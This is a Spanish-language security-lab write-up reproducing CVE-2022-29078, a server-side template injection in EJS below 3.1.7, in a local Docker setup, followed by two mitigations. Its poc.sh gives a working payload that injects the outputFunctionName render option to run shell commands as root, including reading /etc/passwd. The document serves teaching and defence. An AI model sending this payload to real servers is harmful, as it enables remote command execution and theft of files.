
White Hat School 4.ª generación (clase 32) - Woo Sang-beom (@taka3636)
La vulnerabilidad de inyección de plantillas del lado del servidor (SSTI) en EJS < 3.1.7 (CVE-2022-29078) permite ejecutar comandos arbitrarios en el servidor de forma remota sin autenticación (RCE). Este documento configura el entorno vulnerable con Docker, reproduce el RCE mediante un PoC y verifica las dos medidas de mitigación (actualización de la librería · paso seguro de entradas).
EJS (Embedded JavaScript templates) es un motor de plantillas ampliamente utilizado en el ecosistema de Node.js. Permite crear vistas dinámicas insertando JavaScript dentro del HTML mediante etiquetas <% %>, como en <h1>Hello <%= id %></h1>. Internamente, EJS compila la cadena de la plantilla en una función de JavaScript y luego la ejecuta para generar el HTML final. Es decir, es un generador de código que «convierte texto (plantilla) en código ejecutable (función)», y esta propiedad es el trasfondo fundamental de esta vulnerabilidad.
EJS < 3.1.7 inserta el valor de la opción de renderizado outputFunctionName en el código fuente de la función compilada sin validación. Si la aplicación pasa la entrada del usuario directamente como opciones de renderizado, un atacante puede contaminar esta opción y ejecutar código arbitrario en el servidor (RCE). La gravedad es muy alta, ya que permite tomar el control total del servidor de forma remota sin autenticación.
< 3.1.7EJS/CVE-2022-29078/
├── docker-compose.yml # Enlazado a 127.0.0.1 (aislamiento)
├── Dockerfile # node:18.20.4 (versión fijada)
├── app/
│ ├── server.js # Aplicación Express vulnerable
│ ├── package.json # ejs 3.1.6 fijado exactamente
│ └── views/page.ejs
├── poc.sh # Script de ejecución del PoC
└── 1.png ~ 8.png # Capturas de pantalla
18.20.4 fijado3.1.6 (fijada exactamente, sin símbolos: con ^/~ se instalaría la versión parcheada y no se podría reproducir)4.18.2docker compose up -d --build.

El ataque es posible cuando las dos condiciones siguientes se cumplen simultáneamente:
< 3.1.7 inserta outputFunctionName como código sin validarlo// app/server.js — punto vulnerable
app.get('/page', (req, res) => {
res.render('page', req.query); // pasa todo req.query como opciones de renderizado
});
En res.render('page', req.query), Express pasa la entrada del usuario (req.query) a EJS completa, como opciones de renderizado. El analizador qs parsea la notación de corchetes como settings[view options][outputFunctionName] como un objeto anidado, y ese valor se fusiona en la opción de compilación outputFunctionName de EJS. Es decir, el código (función) que el usuario ha colocado en el lugar de la opción se adjunta a la opción y llega junto con ella a EJS. EJS inserta este valor delante de la función compilada de la siguiente manera:
var <outputFunctionName값> = __append;
Con un valor normal es inofensivo, como var myOut = __append;, pero si el valor rompe la sentencia con un punto y coma e inyecta código, ese código se ejecutará tal cual al ejecutarse la función compilada. Colocando execSync(...) en ese lugar, se pueden leer archivos concretos o ejecutar comandos del sistema.
Requisitos previos: Docker y Docker Compose instalados, y conexión a internet durante el build.
# 1) Clonar y entrar en la carpeta
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078
# 2) Compilar e iniciar
docker compose up -d --build
docker compose ps
# 3) Verificar el funcionamiento normal
curl "http://127.0.0.1:3000/page?id=world" # -> <h1>Hello world</h1>
# 4) Ejecutar el PoC
bash poc.sh
# 5) Limpieza
docker compose down

poc.sh — mediante la inyección de la opción outputFunctionName, ejecuta tres comandos en el servidor y recupera su salida: [1] id (quién ejecuta), [2] /etc/passwd (lectura arbitraria de archivos), [3] uname (dónde se ejecuta).
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (inyección de la opción outputFunctionName) -> RCE
set -e
TARGET="http://127.0.0.1:3000"
run() { # $1 = comando shell codificado en URL (se ejecuta en el contenedor y se recupera el resultado)
curl -g -s -o /dev/null \
"${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
docker compose exec -T vuln-ejs cat /tmp/out
}
echo "[1] Comprobación de permisos de ejecución (id) — si es root"
run "id%20%3E%20/tmp/out"
echo "[2] Lectura arbitraria de archivos — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] Exposición de información del sistema — uname"
run "uname%20-a%20%3E%20/tmp/out"
curl -g: imprescindible para que la URL con corchetes no se interprete como glob (sin él, curl: (3) bad range)%20, redirección > %3EResultado de ejecutar poc.sh. Una petición normal (id=world) solo devuelve Hello world, pero el comando inyectado mediante la inyección de outputFunctionName se ejecuta en el servidor y su salida se recupera.

id → uid=0(root) gid=0(root): el comando inyectado se ejecuta con privilegios de root./etc/passwd → el contenido del archivo de cuentas del sistema se devuelve tal cual: se puede leer cualquier archivo del servidor (violación de confidencialidad).uname → el nombre de host es 326f6f1b04b3 (ID del contenedor), distinto del nombre de host de la VM (ubuntu-QEMU-Virtual-Machine): demuestra que el comando se ejecutó dentro del contenedor y no en el host. Es decir, los privilegios de root no se deben a sudo, sino al proceso del servidor vulnerable (node del contenedor = root por defecto).Con una sola petición remota sin autenticación se pueden ejecutar comandos con privilegios root + leer archivos arbitrarios = CVE-2022-29078.
Mitigación 1 — Actualización de la librería (solución de fondo)
Sube ejs en package.json a 3.1.7 o superior. 3.1.7+ valida outputFunctionName con la expresión regular /^[a-zA-Z_$][0-9a-zA-Z_$]*$/, rechazando caracteres no identificadores como el punto y coma, por lo que el mismo ataque se bloquea antes de la ejecución del código.
Error: outputFunctionName is not a valid JS identifier.


Mitigación 2 — Paso seguro de entradas (defensa de la aplicación)
Incluso con la versión vulnerable (3.1.6), si no se pasa la entrada del usuario completa sino solo los valores necesarios, la ruta de fusión de settings[view options] desaparece y la contaminación de opciones resulta imposible. La funcionalidad normal se mantiene.
// Antes (vulnerable)
res.render('page', req.query);
// Después (seguro)
res.render('page', { id: req.query.id });


Recomendación: aplicar ambas medidas: mantener la librería actualizada (solución de fondo) y minimizar el paso de entradas del usuario (defensa en profundidad). Además, ejecutar el contenedor con un usuario no root puede reducir el alcance del daño en caso de RCE.